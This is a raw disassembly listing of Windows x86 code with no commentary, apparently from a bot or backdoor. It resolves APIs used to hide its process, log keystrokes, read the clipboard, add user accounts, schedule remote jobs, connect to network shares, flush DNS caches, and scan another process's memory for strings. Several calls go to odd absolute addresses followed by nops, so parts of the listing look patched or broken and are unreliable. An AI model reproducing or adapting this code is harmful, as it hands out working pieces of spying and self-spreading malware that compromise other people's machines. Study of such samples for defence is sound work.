mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 2740795h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27401D3h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2730BE1h test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_439A38 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43A238 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 26C05EAh nop test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 26C0000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43AC5C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43AC54, eax mov dword_43AC58, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2720000h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] call near ptr 2651922h nop pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2740795h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27401D3h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 2730BE1h test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax nop call near ptr 2730000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 2740000h nop test eax, eax jz short loc_409602 push offset dword_439A38 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43A238 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax nop call near ptr 2720000h jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] call near ptr 2651922h nop loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43AC54, ebx mov dword_43AC58, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2651922h push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43AC50 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2730000h mov ecx, dword_43AC50 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43AC58 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43AC5C push eax call dword_43AA3C push [ebp+var_4] mov edi, offset dword_43AA48 push offset dword_439A38 push offset dword_43A238 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2720000h mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43AC50 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2730BA2h nop push eax nop call near ptr 2730000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43A238 mov edi, 200h mov esi, offset dword_439838 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43AC50 add eax, eax push eax push dword_43AC58 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43AA3C mov eax, dword_43AC50 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 call near ptr 2730BA2h nop push eax nop call near ptr 2720000h mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43AE44, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43ADB8, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43AD9C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43ACB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43AC64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43AC94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43AD08, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43ADF8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43AE54, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43ACC4, eax call esi cmp dword_43AE44, ebx mov dword_43ACAC, eax jz short loc_40991D cmp dword_43ADB8, ebx jz short loc_40991D cmp dword_43AD9C, ebx jz short loc_40991D cmp dword_43ACB8, ebx jz short loc_40991D cmp dword_43AC94, ebx jz short loc_40991D cmp dword_43AD08, ebx jz short loc_40991D cmp dword_43ADF8, ebx jz short loc_40991D cmp dword_43AE54, ebx jz short loc_40991D cmp dword_43ACC4, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43AE58, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43ADD0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj nop call near ptr 2670ADCh mov dword_43AE5C, eax mov dword_43AE58, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2710771h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43ADF4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43ADA4, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43AD38, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43AE48, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43AD68, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43AD88, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43ADEC, eax call esi cmp dword_43ADF4, ebx mov dword_43ACE0, eax jz short loc_409A0D cmp dword_43ADA4, ebx jz short loc_409A0D cmp dword_43AD38, ebx jz short loc_409A0D cmp dword_43AE48, ebx jz short loc_409A0D cmp dword_43AD68, ebx jz short loc_409A0D cmp dword_43AD88, ebx jz short loc_409A0D cmp dword_43ADEC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43AE60, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43AD64, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43AC78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43AD34, eax call esi cmp dword_43AD64, ebx mov dword_43AD20, eax jz short loc_409A74 cmp dword_43AC78, ebx jz short loc_409A74 cmp dword_43AD34, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j call near ptr 2670ADCh nop mov dword_43AE64, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43AE60, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43AE08, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43AD4C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43ADBC, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43ACA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43AD04, eax call esi cmp dword_43AE08, ebx mov dword_43AD74, eax jz short loc_409B09 cmp dword_43AD4C, ebx jz short loc_409B09 cmp dword_43ADBC, ebx jz short loc_409B09 cmp dword_43ACA4, ebx jz short loc_409B09 cmp dword_43AD04, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43AE68, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43AD7C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43AD54, eax call esi cmp dword_43AD7C, ebx mov dword_43AE04, eax jz short loc_409B4E cmp dword_43AD54, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43AE68, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43AD8C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43AC80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43AC88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43ACE8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43ACEC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43AC9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43AD58, eax call esi cmp dword_43AD8C, ebx mov dword_43AC8C, eax jz short loc_409BFC cmp dword_43AC80, ebx jz short loc_409BFC cmp dword_43AC88, ebx jz short loc_409BFC cmp dword_43ACE8, ebx jz short loc_409BFC cmp dword_43ACEC, ebx jz short loc_409BFC cmp dword_43AC9C, ebx jz short loc_409BFC cmp dword_43AD58, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43AE68, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43AC84, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 2670ADCh mov dword_43AE6C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43AE68, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43AD84, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43ADDC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43ADE4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43ADA0, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43ACC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43AC74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43ADE0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43AC60, eax call esi cmp dword_43AD84, ebx mov dword_43ACFC, eax jz short loc_409D05 cmp dword_43ADDC, ebx jz short loc_409D05 cmp dword_43ADE4, ebx jz short loc_409D05 cmp dword_43ADA0, ebx jz short loc_409D05 cmp dword_43ACC8, ebx jz short loc_409D05 cmp dword_43AC74, ebx jz short loc_409D05 cmp dword_43ADE0, ebx jz short loc_409D05 cmp dword_43AC60, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj nop call near ptr 2670ADCh mov dword_43AE74, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43AE70, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43AD10, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43AE3C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43ACB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43AC90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43AD44, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43AD2C, eax call esi push offset aSocket ; "socket" push edi mov dword_43ACF8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43AE18, eax call esi push offset aConnect ; "connect" push edi mov dword_43AE34, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43AD40, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43AE24, eax call esi push offset aHtons ; "htons" push edi mov dword_43ADD8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43AD98, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43AD94, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43ACD4, eax call esi push offset aSend ; "send" push edi mov dword_43ACCC, eax call esi push offset aSendto ; "sendto" push edi mov dword_43ADE8, eax call esi push offset aRecv ; "recv" push edi mov dword_43ADFC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43ADB0, eax call esi mov dword_43AD70, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43ADC4, eax call esi push offset aListen ; "listen" push edi mov dword_43AD80, eax call esi push offset aAccept ; "accept" push edi mov dword_43ADC0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43AE2C, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43AD78, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43AD3C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43ADAC, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43AE1C, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43AD50, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43ACF4, eax call esi cmp dword_43AD10, ebx mov dword_43AE30, eax jz loc_409FD6 cmp dword_43AE3C, ebx jz loc_409FD6 cmp dword_43ACB4, ebx jz loc_409FD6 cmp dword_43AD44, ebx jz loc_409FD6 cmp dword_43AD2C, ebx jz loc_409FD6 cmp dword_43ACF8, ebx jz loc_409FD6 cmp dword_43AE18, ebx jz loc_409FD6 cmp dword_43AE34, ebx jz loc_409FD6 cmp dword_43AD40, ebx jz loc_409FD6 cmp dword_43AE24, ebx jz loc_409FD6 cmp dword_43ADD8, ebx jz loc_409FD6 cmp dword_43AD98, ebx jz loc_409FD6 cmp dword_43AD94, ebx jz loc_409FD6 cmp dword_43ACD4, ebx jz short loc_409FD6 cmp dword_43ADE8, ebx jz short loc_409FD6 cmp dword_43ADFC, ebx jz short loc_409FD6 cmp dword_43ADB0, ebx jz short loc_409FD6 cmp dword_43AD70, ebx jz short loc_409FD6 cmp dword_43ADC4, ebx jz short loc_409FD6 cmp dword_43AD80, ebx jz short loc_409FD6 cmp dword_43ADC0, ebx jz short loc_409FD6 cmp dword_43AE2C, ebx jz short loc_409FD6 cmp dword_43AD78, ebx jz short loc_409FD6 cmp dword_43AD3C, ebx jz short loc_409FD6 cmp dword_43ADAC, ebx jz short loc_409FD6 cmp dword_43AE1C, ebx jz short loc_409FD6 cmp dword_43AD50, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 2670ADCh mov dword_43AE7C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43AE78, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43ACDC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43AC68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43AD60, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43AD14, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43AD6C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43AD30, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43ACA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43ACA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43ACB0, eax call esi cmp dword_43ACDC, ebx mov ecx, dword_43AD30 mov dword_43ADCC, eax jz short loc_40A0C1 cmp dword_43AC68, ebx jz short loc_40A0C1 cmp dword_43AD60, ebx jz short loc_40A0C1 cmp dword_43AD14, ebx jz short loc_40A0C1 cmp dword_43AD6C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43ACA8, ebx jz short loc_40A0C1 cmp dword_43ACA0, ebx jz short loc_40A0C1 cmp dword_43ACB0, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43AE80, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43AD48, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj call near ptr 2670ADCh nop mov dword_43AE84, eax mov dword_43AE80, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43AD48, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43AD24, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43AE50, eax call esi cmp dword_43AD24, ebx mov dword_43ACBC, eax jz short loc_40A155 cmp dword_43AE50, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 2670ADCh mov dword_43AE8C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43AE88, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43AC98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43AC70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43ACE4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43AD18, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43AE28, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43ACD0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43AC7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43AC6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43AD00, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43ADF0, eax call esi cmp dword_43AC98, ebx mov dword_43ADA8, eax jz short loc_40A260 cmp dword_43AC70, ebx jz short loc_40A260 cmp dword_43ACE4, ebx jz short loc_40A260 cmp dword_43AD18, ebx jz short loc_40A260 cmp dword_43AE28, ebx jz short loc_40A260 cmp dword_43ACD0, ebx jz short loc_40A260 cmp dword_43AC7C, ebx jz short loc_40A260 cmp dword_43AC6C, ebx jz short loc_40A260 cmp dword_43AD00, ebx jz short loc_40A260 cmp dword_43ADF0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj call near ptr 2670ADCh nop mov dword_43AE94, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43AE90, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43ACC0, eax call esi cmp dword_43ACC0, ebx mov dword_43AD90, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j call near ptr 2670ADCh nop mov dword_43AE9C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43AE98, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43AE14, eax call esi cmp dword_43AE14, ebx mov dword_43AE10, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j call near ptr 2670ADCh nop mov dword_43AEA4, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43AEA0, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43AE40, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43AE38, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43AE00, eax call esi cmp dword_43AE40, ebx mov dword_43ACD8, eax jz short loc_40A368 cmp dword_43AE38, ebx jz short loc_40A368 cmp dword_43AE00, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 